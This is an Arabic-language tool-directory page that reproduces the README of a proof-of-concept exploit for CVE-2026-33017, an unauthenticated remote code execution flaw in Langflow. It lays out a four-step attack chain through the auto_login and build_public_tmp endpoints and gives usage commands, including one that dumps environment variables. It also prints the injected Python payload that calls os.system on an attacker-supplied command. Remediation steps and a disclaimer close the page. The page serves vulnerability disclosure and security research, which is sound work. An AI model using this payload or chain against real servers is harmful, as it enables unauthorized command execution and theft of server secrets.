Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33017-langflow-rce — إثبات مفهوم لـ CVE-2026-33017، يوضح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في إصدارات Langflow المعرّضة للخطر من خلال حقن تعليمات برمجية خبيثة في CustomComponent. | Kitploit
أدوات/GitHubGitHub/arensballiu/cve-2026-33017-langflow-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعدتطوير الحمولات
GitHubarensballiu/cve-2026-33017-langflow-rce

CVE-2026-33017-langflow-rce

إثبات مفهوم لـ CVE-2026-33017، يوضح تنفيذ التعليمات البرمجية عن بُعد دون مصادقة في إصدارات Langflow المعرّضة للخطر من خلال حقن تعليمات برمجية خبيثة في CustomComponent.

عرض المستودع
59منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33017 - تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة في Langflow

نظرة عامة

معرّف CVE: CVE-2026-33017
البرنامج المتأثر: Langflow الإصدارات المتأثرة: <= 1.8.2 الإصدار المُصلح: >= 1.9.0 الخطورة: حرجة
المؤلف: arensballiu
التاريخ: 2026

الوصف

يكشف Langflow عن نقطة نهاية عامة لبناء التدفقات (/api/v1/build_public_tmp/{flowID}/flow) تقبل كتل تعليمات برمجية عشوائية من نوع CustomComponent وتنفّذها على جانب الخادم دون مصادقة. فعن طريق حقن حمولة Python خبيثة في حقل code الخاص بعقدة CustomComponent، يستطيع مهاجم غير مُصادَق تشغيل أوامر نظام تشغيل عشوائية بامتيازات عملية خادم Langflow.

تستغل سلسلة الهجوم أولاً نقطة النهاية /api/v1/auto_login، التي تُصدر رمز bearer دون طلب بيانات اعتماد عندما يعمل Langflow في إعداداته الافتراضية للتسجيل التلقائي. ثم تستخدم ذلك الرمز لإنشاء تدفق عام مؤقت وإطلاق تنفيذ التعليمات البرمجية على جانب الخادم عبر نقطة نهاية البناء.

يتضمن المشروع ملف docker يُنشئ نسخة docker مثبّت عليها Langflow وقيد التشغيل.

نقاط النهاية المتأثرة

نقطة النهايةالطريقةتتطلب مصادقةالغرض
/api/v1/auto_loginGETلاالحصول على رمز bearer (يجب تفعيل التسجيل التلقائي)
/api/v1/flows/POSTنعم (Bearer)إنشاء تدفق جديد
/api/v1/build_public_tmp/{flowID}/flowPOSTلا (عام)إطلاق البناء - نقطة التنفيذ المتأثرة
/api/v1/flows/{flowID}DELETEنعم (Bearer)تنظيف التدفق الذي تم إنشاؤه

إثبات المفهوم

الملف: CVE-2026-33017_POC.py

المتطلبات

  • Python 3.x
  • مكتبة requests
  • إمكانية الوصول عبر الشبكة إلى نسخة Langflow تعمل مع تفعيل التسجيل التلقائي
pip install requests

الاستخدام

python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

المعاملات

العلامةالصيغة الطويلةمطلوبالوصف
-u--urlنعمعنوان URL الأساسي لنسخة Langflow
-c--commandنعمأمر نظام التشغيل المراد تنفيذه على الخادم
-d--deleteلاحذف التدفق الذي تم إنشاؤه بعد الاستغلال

أمثلة

التحقق من تنفيذ التعليمات البرمجية:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

استرداد متغيرات بيئة الخادم:

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

حافظ على استمرارية الاتصال بعد الاستغلال (تخطَّ التنظيف):

python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

المخرجات المتوقعة

[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

تفصيل الحمولة

يحقن الاستغلال المقتطف البرمجي Python التالي في حقل code لعقدة CustomComponent:

from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) - يستورد وحدة os ديناميكيًا وينفّذ أمر shell الذي يوفّره المهاجم على الخادم.
  • بقية تعريف الصنف هي CustomComponent صالحة مطلوبة لتلبية محمّل المكوّنات في Langflow دون إثارة خطأ في التحليل.
  • يُنشأ التدفق كـ PUBLIC ويُستدعى نقطة نهاية البناء على نقطة نهايته العامة، مما يعني أنه لا حاجة إلى ملف تعريف ارتباط للجلسة أو رمز مصادقة لتفعيل التنفيذ.

السبب الجذري

يتيح نظام CustomComponent في Langflow إرسال شيفرة Python عشوائية كجزء من تعريف التدفق. تقوم نقطة النهاية /api/v1/build_public_tmp/{flowID}/flow ببناء هذه الشيفرة وتقييمها جزئيًا على جانب الخادم، بما في ذلك العبارات على مستوى الوحدة، دون عزل أو تقييد الوصول إلى دوال Python المدمجة مثل __import__.

ملخص سلسلة الهجوم

1. GET /api/v1/auto_login          →  Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/             →  Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/  →  Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id}       →  Clean up (optional)

يمكن للمهاجم المجهول تنفيذ الخطوات الأربع جميعها ضد نشر Langflow افتراضي.

المعالجة

  • قم بالترقية إلى Langflow الإصدار 1.9.0 أو أحدث.
  • عطّل تسجيل الدخول التلقائي (LANGFLOW_AUTO_LOGIN=false) في أي نشر متاح عبر الإنترنت.

إخلاء المسؤولية

يُقدَّم هذا الإثبات للمفهوم لأغراض البحث الأمني التعليمي والمصرّح به فقط. استخدام هذا السكربت ضد أنظمة دون إذن كتابي صريح غير قانوني وغير أخلاقي. لا يتحمل المؤلف والمساهمون أي مسؤولية عن سوء الاستخدام.

تنزيل الأداة